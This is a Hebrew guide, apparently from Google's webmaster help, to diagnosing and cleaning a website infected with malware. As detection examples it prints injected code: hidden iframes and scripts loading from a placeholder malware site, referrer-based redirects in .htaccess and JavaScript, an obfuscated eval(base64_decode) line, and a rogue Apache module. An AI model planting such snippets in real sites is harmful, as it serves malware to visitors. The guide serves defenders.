פריצה באמצעות תוכנה זדונית

תוכנה זדונית היא כל תוכנה או אפליקציה לנייד שתוכננה במיוחד כדי לגרום נזק למחשב או למכשיר נייד, לתוכנה שפועלת בהם או למי שמשתמשים בהם. מידע נוסף על תוכנות זדוניות זמין במאמר תוכנות זדוניות ותוכנות לא רצויות.

אם האתר שלכם מכיל תוכנה זדונית, המשתמשים יראו בדרך כלל את האזהרה 'האתר הזה עלול להזיק למחשב שלך' בתוצאות החיפוש או בדף ביניים שמוצג בדפדפן כשהמשתמש מנסה להיכנס לאתר. האזהרה נראית בערך כך:

דף מעברון לדוגמה של תוכנה זדונית
תוצאות חיפוש עם אזהרה על תוכנה זדונית.

תצטרכו את הפריטים הבאים:

  • גישה של אדמין מעטפת או מסוף לשרתים של האתר: אינטרנט, מסד נתונים וקבצים.
  • ידע בפקודות של מעטפת או מסוף.
  • היכולת להריץ שאילתות SQL במסד הנתונים.

הכנה

  • נרשמים ל-Search Console ומאמתים את הבעלות על האתר שנפרץ, כפי שמתואר שם. מערכת Search Console מספקת דוגמה לדפים שהושפעו, כך שקל יותר למצוא ולתקן בעיות שנגרמו כתוצאה מפריצה עם תוכנה זדונית. בנוסף, תקבלו התראה אם נזהה שהאתר שלכם מושפע מסוגים רבים של תוכנות זדוניות או מפריצות אחרות.
  • אפשר להיכנס אל דף האבחון של הגלישה הבטוחה של Google כדי לראות מידע ציבורי לגבי האפשרות שהאתר מסוכן למשתמשים. אפשר לראות את סטטוס כרטיס המוצר של הדף או האתר בכתובת URL שדומה לכתובת הזו: https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** לדוגמה: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> יכולה להיות כתובת URL של דף ספציפי (http://example.com/badpage) או כל האתר (example.com).

  • הימנעו משימוש בדפדפן כדי להציג דפים באתר. הרבה פעמים תוכנות זדוניות מתפשטות על ידי ניצול נקודות התורפה של הדפדפן. לכן, פתיחת דף שנגוע בתוכנה זדונית בדפדפן עלולה לגרום נזק למחשב. אלא אם בהוראות לאבחון מצוין לגשת לדף ישירות בדפדפן, צריך להשתמש ב-cURL או ב-Wget כדי לבצע בקשות HTTP (לדוגמה, כדי לאחזר דף).

    הכלים האלה זמינים בחינם ומאפשרים לאבחן הפניות לאתרים אחרים. אפשר להשתמש בהם כדי לקבל פרטים על הגורם המפנה או סוכן המשתמש. כדאי לכלול גורם מפנה או סוכן משתמש ספציפיים כדי לחקות האקרים, כי האקרים עשויים להציג תוכן זדוני רק למשתמשים עם סוכנים משתמשים או גורמים מפנים ספציפיים כדי לטרגט יותר 'אנשים אמיתיים' ולהימנע מזיהוי על ידי בעלי אתרים וסורק תוכנות זדוניות.

`curl -v --referer "http://www.google.com" <your-url>`

דוגמה שבה מצוין גם סוכן משתמש וגם מקור מפנה:

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

מומלץ לאחזר דף עם --referer "https://www.google.com" וגם בלי --referer "https://www.google.com", כי חלק מתוכנות זדוניות מופעלות רק כשמשתמשים מגיעים מתוצאות החיפוש ב-Google.

  • צור מסמך לתיעוד הממצאים של שלב זה. בסופו של דבר, המסמך יכלול (לפחות) את השם והמיקום של כל קובץ פגום, הערות לגבי האופן שבו הוא נדבק, והוא ישמש כבסיס לניקוי ותחזוקת האתר.

  • מומלץ לצפות בסרטון שמוצג למעלה בדף הזה כדי להבין איך תוכנות זדוניות פועלות ואיך לשמור על הבטיחות במהלך החקירה שלהן.

אבחון

בודקים איזו תוכנה זדונית משפיעה על האתר:

  1. פותחים את דוח בעיות האבטחה של האתר ב-Search Console. מרחיבים את התיאור של האזהרה על תוכנה זדונית כדי לראות רשימה של דפים לדוגמה שהושפעו. חשוב לזכור שהרשימה הזו לא מקיפה. יכול להיות שלא יוצגו דפי דוגמה לכל סוגי התוכנות הזדוניות באתר.
  2. בודקים את דפי הדוגמה כדי לאתר את סוגי התוכנות הזדוניות הבאים.

תוכנה זדונית בתצורת השרת (הפניות אוטומטיות לא רצויות)

האקר פגע באתר והוא מפנה מחדש מבקרים מהאתר התקין שלכם לאתר הזדוני שלו הכולל תוכנה זדונית, ככל הנראה על ידי שינוי קובץ התצורה של השרתים. קובצי תצורת השרת מאפשרים בדרך כלל למנהל האתר לציין כתובות אתר להפניה אוטומטית עבור דפים ספציפיים או ספריות ספציפיות באתר. לדוגמה, בשרתי Apache, זהו הקובץ .htaccess וגם הקובץ httpd.conf.

אבחון

היכנסו למספר כתובות URL לדוגמה המוצגות בדוח 'בעיות אבטחה'. תגובה מדף הנגוע בהידבקות מסוג 'הגדרת שרת' עשויה לכלול את הכותרות הבאות:

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

איך בודקים אילו קבצים הושפעו

מתחברים לשרת באמצעות גישת מעטפת או מסוף (אם תרצו בכך, תוכלו להשאיר את האתר במצב אופליין) ובודקים את הקבצים הרלוונטיים של תצורת השרת. יכול להיות שבאתר יהיה יותר מקובץ פרוץ אחד של תצורת שרת. בודקים את הקבצים האלה כדי לגלות הוראות לא רצויות, כמו הפניות אוטומטיות לאתרים לא ידועים. לדוגמה, בקובץ .htaccess ייתכן שתראו הפניה לכתובת אחרת שנראית כך:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

הזרקת SQL

האקר פגע במסד הנתונים של האתר. לדוגמה, ייתכן שהאקר הזין קוד זדוני באופן פרוגרמטי לתוך כל רשומה שבטבלת מסד נתונים. וכך, כשהשרת יטען דף המחייב מידע ממסד הנתונים, הקוד הזדוני יוטמע בתוכן הדף ויוכל להזיק למבקרים באתר.

אבחון

  1. מריצים מספר שאילתות בנושא כתובות ה-URL שהושפעו בשורת הפקודה, ובודקים את התגובה למילות התקפה של SQL כמו "iframe" או "eval".
  2. מתחברים לשרת מסד הנתונים או מציגים את מסד הנתונים באמצעות כלי כמו phpMyAdmin. אם השתמשתם ב-Wget או ב-cURL, יש לנסות למצוא קשר בין הנזק שנמצא בקוד המקור של הדף באמצעות Wget או cURL לבין הערכים של מסד הנתונים עצמו. לדוגמה, אם שמתם לב שהדפים שלכם כוללים iframe מסוכן, תוכלו לבצע שאילתה ב-SQL לחיפוש קוד iframe. לדוגמה:

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
  3. מומלץ גם לבדוק את יומן מסד הנתונים ואת קובצי השגיאות בשרת לאיתור פעילות חריגה, כגון פקודות SQL בלתי צפויות שנראות חריגות ביחס למשתמשים רגילים או לשגיאות רגילות.

תיקון הבעיה

לעדכן כל רשומה נגועה במסד הנתונים או לשחזר את הגיבוי האחרון של מסד הנתונים הידוע כתקין.

החדרת קוד

דפים באתר שלכם שונו כך שיכללו קוד זדוני, כגון iframe שיפנה לאתר זדוני.

אבחון

נכנסים למספר כתובות URL לדוגמה שמוצגות בדוח 'בעיות אבטחה' באמצעות cURL או wGet ובודקים אם יש קוד חשוד. יש סוגים רבים של קוד מוטמע, וקשה למצוא אותו. מומלץ לחפש מילים כמו "iframe" כדי למצוא קוד iframe. מילות מפתח אחרות שעשויות להועיל הן "script"‏, "eval" ו-"unescape" לדוגמה, כדי לחפש "iframe" בכל הקבצים במערכות מבוססות Unix, מקלידים:

$grep -irn "iframe" ./ | less</pre>

ריכזנו כאן כמה דפוסים נפוצים של תוכנות זדוניות שכדאי לחפש.

iframe שטוען אתר זדוני:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

JavaScript או שפת סקריפטים אחרת הקוראת לסקריפטים מאתר זדוני ומריצה אותם:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

סקריפט שמפנה את הדפדפן לאתר זדוני:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;
<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

קוד זדוני שמטושטש כדי למנוע זיהוי:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

קובצי אובייקטים משותפים שמיועדים לכתוב באופן אקראי קוד מזיק לסקריפטים שלכאורה אינם אמורים להזיק:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

תבניות שגיאה זדוניות

התבנית שבה נעשה שימוש להודעות שגיאה, כגון '404 הקובץ לא נמצא', מוגדרת כך שתפיץ תוכנה זדונית. באופן הזה, תוקפים יכולים להפעיל מתקפות על כתובות URL שכלל לא קיימות באתר שלכם.

אבחון

ניגשים לדף שלא קיים באתר או שמציג סוג אחר של שגיאה ובוחנים את התגובה, כדי לראות אם היא מגיעה מאתר אחר או כוללת תוכנה זדונית.

תיקון הבעיה

נכנסים לשרת האינטרנט ומחפשים בקובצי תצורת השרת הוראות דפי שגיאה. לדוגמה, ההצהרה על תבנית השגיאה של שרתי האינטרנט של Apache עשויה להופיע בקובץ .htaccess. דוגמה: רשומת קובץ .htaccess שמאחזרת דפי שגיאה 404 מאתר זדוני:

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

כשאתם מוכנים לנקות את האתר, תוכלו להחליף את קובצי ה-.htaccess בגיבויים תקינים ומוכרים, או למחוק את ההוראות הלא רצויות של ErrorDocument בקובצי ה-.htaccess הקיימים. חשוב גם לנקות את קובצי השגיאות עצמם אם הם קיימים באתר. בסיום, מפעילים מחדש את שרת האינטרנט כדי לוודא שכל השינויים ייכנסו לתוקף.

משאבים שנטענים מאתר זדוני או אתר שנפרץ {compromised-resources}

באתר שלכם נעשה שימוש בתוכן או במשאבים מאתר שידוע שהוא מכיל תוכן זדוני. אלה יכולים להיות קובצי JavaScript, תמונות או קבצים אחרים. לכן, האתר שלכם יסומן כאתר עם תוכנה זדונית שנטענה מאותו אתר אחר.

אבחון

היכנסו למספר כתובות URL לדוגמה המוצגות בדוח 'בעיות אבטחה'.

תיקון הבעיה

  1. מאשרים שהבעיה קיימת באמצעות גלישה אל כמה מכתובות ה-URL לדוגמה, שמופיעות בדוח 'בעיות אבטחה' ב-Search Console. אמורה להופיע אזהרה בדפדפן.
  2. אזהרת הדפדפן תכלול את הדומיין של התוכן החשוד. מסירים את הכל ההפניות אל האתר המסומן שמופיע באזהרת הדפדפן. אם התוכן מאתר מסומן נכלל ללא ידיעתכם, הבעיה חמורה יותר. סביר להניח שהאתר שלכם נפרץ, ועליך להמשיך לבדוק אותו כדי לאתר פרצות אבטחה ופריצות אחרות.
  3. אם צירפתם תוכן מאתר לגיטימי שסומן, ואתם רוצים לכלול מחדש את התוכן אחרי שהאתר הוסדר, תוכלו לעקוב אחרי הסטטוס של האתר המודגש באמצעות דף האבחון של הגלישה הבטוחה של Google של האתר הזה (http://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external}. בדרך כלל, בעלי אתרים חוקיים מנקים אותם במהירות.

בדיקה נוספת

בשלב הבא, בודקים אם יש קבצים זדוניים נוספים או שינויים במערכת. יכול להיות שהאקר שינה דפים קיימים או רשומות במסד נתונים, יצר דפי ספאם חדשים לגמרי, כתב פונקציות שמוצג בהן ספאם בדפים נקיים או השאיר 'דלתות אחוריות' שמאפשרות להאקר להיכנס מחדש לאתר, או להחדיר מחדש קוד זדוני שהסרתם.

אם האתר שלך פעיל, מומלץ להוציא אותו מהאינטרנט לצורך הבדיקה הזו.

אם יש לכם גיבוי תקין של האתר, עליכם לקבוע אילו קבצים נוצרו או שונו מאז הגיבוי ולבדוק אותם. במערכות מבוססות Unix, אפשר להשתמש בפקודה כמו זו כדי למצוא קבצים חדשים:

diff -qr <current-directory> <backup-directory>

לדוגמה:

diff -qr www/ backups/full-backup-20120124/

כמו כן:

md5sum <current-page> <backup-page>

לדוגמה:

md5sum www/page.html backups/full-backup-20120124/page.html

בודקים את יומני השרת, הגישה והשגיאות כדי לאתר פעילות חשודה, כמו ניסיונות כניסה שנכשלו, היסטוריית הפקודות (במיוחד כמשתמש root) ויצירה של חשבונות משתמשים לא מוכרים. חשוב לזכור שהאקר עשוי לשנות את היומנים האלה למטרות משלו. דוגמאות מסוימות מוצגות בסרטון זיהוי נקודת החולשה.

בודקים את קובצי התצורה כדי לאתר הפניות אוטומטיות. שמות קובצי התצורה הם בדרך כלל .htaccess ו-httpd.conf. האקרים יוצרים לעיתים קרובות הפניות אוטומטיות מותנות על סמך סוכן המשתמש, השעה ביום או מקור ההפניה. אם צריך לעדכן קובצי תצורה, יכול להיות שיהיה צורך להפעיל מחדש את השרת כדי שהשינויים ייכנסו לתוקף.

בודקים אם יש הרשאות רחבות מדי לתיקיות ולקבצים. האקרים משנים את ההרשאות כי אם הבעלים של האתר לא יזהו הרשאות רופפות, תהיה להאקר דרך להיכנס מחדש לאתר. קבצים גדולים מ-644 (rw-r--r--) ותיקיות גדולות מ-755 (rwxr-xr-x) עלולים לגרום לבעיות אבטחה. ודא שההרשאות החלשות יותר אכן דרושות. במערכות מבוססות Unix, אפשר לנסות:

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

וגם:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

אם יש לכם מסד נתונים, כדאי לבדוק כל רשומה בנפרד באמצעות כלי כמו phpMyAdmin.